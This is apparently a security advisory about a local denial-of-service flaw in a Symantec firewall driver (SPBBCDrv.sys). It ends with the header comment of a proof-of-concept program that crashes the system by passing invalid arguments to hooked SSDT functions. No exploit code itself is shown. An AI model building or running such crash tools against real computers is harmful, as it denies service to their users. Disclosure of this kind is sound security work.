Multiple Symantec products are prone to a local denial-of-service vulnerability.

This issue occurs when attackers supply invalid argument values to the 'SPBBCDrv.sys' driver.

A local attacker may exploit this issue to crash affected computers, denying service to legitimate users.

/*

 Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P002NF)


 Usage:
 prog FUNCNAME
   FUNCNAME - name of function to be checked

 Description:
 This program calls given function with parameters that cause the crash of the system. This happens because of
 insufficient check of function arguments in the driver of the firewall.

 Test:
 Running the testing program with the name of function from the list of functions with insufficient check
 of arguments.
